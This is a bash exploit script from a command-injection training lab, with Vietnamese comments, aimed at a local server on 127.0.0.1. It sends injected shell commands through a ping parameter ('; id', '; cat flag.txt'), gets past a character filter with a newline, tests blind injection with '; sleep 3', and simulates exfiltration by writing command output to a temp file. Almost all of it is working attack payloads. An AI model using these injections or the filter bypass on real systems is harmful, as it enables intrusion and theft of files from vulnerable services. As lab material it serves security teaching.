#!/usr/bin/env bash
# Exploit lab 2.5 - Command injection. Dung: PORT=8025 bash exploit.sh
set -u
PORT="${PORT:-8025}"
BASE="http://127.0.0.1:${PORT}"
OOB="/tmp/oob_2_5.txt"

echo "############################################################"
echo "# 0. Ping binh thuong"
echo "############################################################"
curl -s -G "$BASE/ping" --data-urlencode "host=127.0.0.1" | head -2

echo
echo "############################################################"
echo "# 1. IN-BAND: host=127.0.0.1; id  (noi lenh bang ;)"
echo "############################################################"
curl -s -G "$BASE/ping" --data-urlencode "host=127.0.0.1; id"

echo
echo "############################################################"
echo "# 2. IN-BAND: doc flag.txt bang ; cat flag.txt"
echo "############################################################"
curl -s -G "$BASE/ping" --data-urlencode "host=127.0.0.1; cat flag.txt"

echo
echo "############################################################"
echo "# 3. /ping2 LOC ; & | \$ \` -> bi chan"
echo "############################################################"
curl -s -G "$BASE/ping2" --data-urlencode "host=127.0.0.1; id"

echo
echo "############################################################"
echo "# 4. /ping2 BYPASS bang xuong dong (%0a) ma filter quen chan"
echo "############################################################"
curl -s -G "$BASE/ping2" --data-urlencode "host=127.0.0.1"$'\n'"id"
echo "---- doc flag qua %0a ----"
curl -s -G "$BASE/ping2" --data-urlencode "host=127.0.0.1"$'\n'"cat flag.txt"

echo
echo "############################################################"
echo "# 5. /ping3 BLIND - time-based: ; sleep 3 (do thoi gian phan hoi)"
echo "############################################################"
echo -n "  host=127.0.0.1 (khong sleep): "
curl -s -o /dev/null -w "%{time_total}s\n" -G "$BASE/ping3" --data-urlencode "host=127.0.0.1"
echo -n "  host=127.0.0.1; sleep 3     : "
curl -s -o /dev/null -w "%{time_total}s\n" -G "$BASE/ping3" --data-urlencode "host=127.0.0.1; sleep 3"

echo
echo "############################################################"
echo "# 6. /ping3 BLIND - OOB: ghi output ra file roi doc (mo phong exfil)"
echo "############################################################"
rm -f "$OOB"
curl -s -o /dev/null -G "$BASE/ping3" --data-urlencode "host=127.0.0.1; id > $OOB 2>&1"
curl -s -o /dev/null -G "$BASE/ping3" --data-urlencode "host=127.0.0.1; cat flag.txt >> $OOB 2>&1"
echo "  noi dung file OOB ($OOB):"
sed 's/^/    /' "$OOB"
rm -f "$OOB"
